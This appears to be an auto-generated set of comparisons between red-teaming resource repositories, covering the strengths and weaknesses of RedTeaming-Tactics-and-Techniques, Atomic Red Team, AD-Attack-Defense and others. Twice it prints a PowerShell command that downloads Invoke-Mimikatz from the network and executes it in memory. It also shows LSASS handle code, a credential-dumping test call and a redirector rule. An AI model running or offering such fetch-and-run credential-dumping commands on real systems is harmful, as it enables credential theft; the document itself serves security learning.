Pros of Awesome-Red-Teaming

• Broader coverage of red teaming topics, including social engineering and physical security
• More frequently updated with new resources and tools
• Better organized with clear categories and subcategories

Cons of Awesome-Red-Teaming

• Less in-depth technical explanations for specific techniques
• Fewer hands-on examples and practical demonstrations
• More focused on listing resources rather than providing detailed guidance

Code Comparison

While both repositories primarily focus on curating resources rather than providing code examples, RedTeaming-Tactics-and-Techniques occasionally includes code snippets for specific techniques. For example:

RedTeaming-Tactics-and-Techniques:

$bytes = (Invoke-WebRequest "https://github.com/PowerShellMafia/PowerSploit/raw/master/Exfiltration/Invoke-Mimikatz.ps1" -UseBasicParsing).Content
$decoded = [System.Text.Encoding]::ASCII.GetString($bytes)
Invoke-Expression $decoded

Awesome-Red-Teaming does not typically include code snippets, focusing instead on linking to external resources and tools.

Both repositories serve as valuable resources for red teaming professionals, with RedTeaming-Tactics-and-Techniques offering more technical depth and Awesome-Red-Teaming providing a broader overview of the field.

Pros of Red-Team-Infrastructure-Wiki

• Focuses specifically on red team infrastructure setup and management
• Provides detailed guides on various infrastructure components (e.g., redirectors, domain fronting)
• Includes practical examples and tools for implementation

Cons of Red-Team-Infrastructure-Wiki

• Narrower scope compared to RedTeaming-Tactics-and-Techniques
• Less emphasis on offensive techniques and tactics
• May require more background knowledge to fully utilize

Code Comparison

While both repositories primarily contain documentation rather than code, Red-Team-Infrastructure-Wiki includes some configuration examples:

# Red-Team-Infrastructure-Wiki example (Apache mod_rewrite configuration)
RewriteEngine On
RewriteCond %{HTTP_HOST} ^example\.com$ [NC]
RewriteRule ^(.*)$ https://destination.com/$1 [P,L]

RedTeaming-Tactics-and-Techniques focuses more on explaining concepts and techniques without specific code examples.

Summary

Red-Team-Infrastructure-Wiki is a specialized resource for setting up and managing red team infrastructure, offering detailed guides and practical examples. However, it has a narrower focus compared to RedTeaming-Tactics-and-Techniques, which covers a broader range of red teaming topics and techniques. The choice between the two depends on whether you need specific infrastructure guidance or a more comprehensive overview of red teaming tactics.

Pros of Atomic Red Team

• Provides a comprehensive library of tests for various attack techniques
• Offers easy-to-use, automated testing capabilities
• Regularly updated with new tests and improvements

Cons of Atomic Red Team

• Focuses primarily on Windows environments, with less coverage for other platforms
• May require additional setup and dependencies for some tests

Code Comparison

Atomic Red Team (PowerShell):

Invoke-AtomicTest T1003.001 -TestNumbers 1

RedTeaming-Tactics-and-Techniques (PowerShell):

Get-Process lsass | Select-Object -ExpandProperty Id

Both repositories provide valuable resources for red teaming and security testing. Atomic Red Team offers a more structured and automated approach to testing specific attack techniques, while RedTeaming-Tactics-and-Techniques provides a broader range of information and manual techniques.

Atomic Red Team is ideal for organizations looking to implement continuous security testing and validation, while RedTeaming-Tactics-and-Techniques serves as a comprehensive knowledge base for red teamers and security professionals.

Ultimately, both repositories complement each other and can be used together to enhance an organization's security posture and red teaming capabilities.

Pros of Red-Teaming-Toolkit

• More concise and focused on specific tools and techniques
• Regularly updated with new resources and tools
• Includes a wider range of categories, such as cloud security and IoT

Cons of Red-Teaming-Toolkit

• Less detailed explanations and context for each technique
• Lacks the comprehensive theoretical background provided in RedTeaming-Tactics-and-Techniques
• May be overwhelming for beginners due to the large number of tools listed

Code Comparison

While both repositories primarily focus on curating resources rather than providing extensive code samples, RedTeaming-Tactics-and-Techniques occasionally includes code snippets to illustrate specific techniques. For example:

RedTeaming-Tactics-and-Techniques:

$bytes = (Invoke-WebRequest "https://github.com/PowerShellMafia/PowerSploit/raw/master/Exfiltration/Invoke-Mimikatz.ps1" -UseBasicParsing).Content
$decoded = [System.Text.Encoding]::ASCII.GetString($bytes)
Invoke-Expression $decoded

Red-Teaming-Toolkit doesn't typically include code snippets, instead focusing on linking to external resources and tools.

Both repositories serve as valuable resources for red team professionals, with RedTeaming-Tactics-and-Techniques offering a more in-depth educational approach, while Red-Teaming-Toolkit provides a comprehensive toolkit for practitioners.

Pros of RedTips

• Concise and easy-to-digest format with quick tips and techniques
• Regularly updated with new content and community contributions
• Focuses on practical, real-world red teaming scenarios

Cons of RedTips

• Less comprehensive coverage of topics compared to RedTeaming-Tactics-and-Techniques
• Limited in-depth explanations and theoretical background
• Fewer structured learning paths for beginners

Code Comparison

RedTips example:

Get-WmiObject -Class Win32_UserAccount -Filter "LocalAccount='True'" | Select Name,SID

RedTeaming-Tactics-and-Techniques example:

$users = Get-WmiObject -Class Win32_UserAccount -Filter "LocalAccount='True'"
foreach ($user in $users) {
    Write-Output "Username: $($user.Name)"
    Write-Output "SID: $($user.SID)"
}

Both repositories provide valuable resources for red teaming, but they serve different purposes. RedTips offers quick, actionable tips for practitioners, while RedTeaming-Tactics-and-Techniques provides a more comprehensive and structured approach to learning red teaming concepts and techniques. The choice between the two depends on the user's experience level and learning objectives.

Pros of AD-Attack-Defense

• Focuses specifically on Active Directory attacks and defenses
• Includes both offensive and defensive techniques
• Provides a comprehensive list of tools for AD security

Cons of AD-Attack-Defense

• Less detailed explanations compared to RedTeaming-Tactics-and-Techniques
• Narrower scope, primarily covering Active Directory
• Fewer code examples and practical demonstrations

Code Comparison

AD-Attack-Defense:

Get-ADUser -Filter * -Properties * | Select-Object Name, SamAccountName, UserPrincipalName, Enabled

RedTeaming-Tactics-and-Techniques:

public static string GetLsassHandle()
{
    Process[] lsass = Process.GetProcessesByName("lsass");
    return lsass[0].Handle.ToString();
}

The AD-Attack-Defense repository provides a PowerShell command for enumerating AD users, while RedTeaming-Tactics-and-Techniques offers a C# method for obtaining the LSASS process handle. This difference highlights the broader scope and more technical approach of RedTeaming-Tactics-and-Techniques compared to the AD-focused content in AD-Attack-Defense.

Both repositories serve as valuable resources for security professionals, with AD-Attack-Defense offering a concentrated look at Active Directory security, and RedTeaming-Tactics-and-Techniques providing a wider range of red teaming techniques and more in-depth explanations.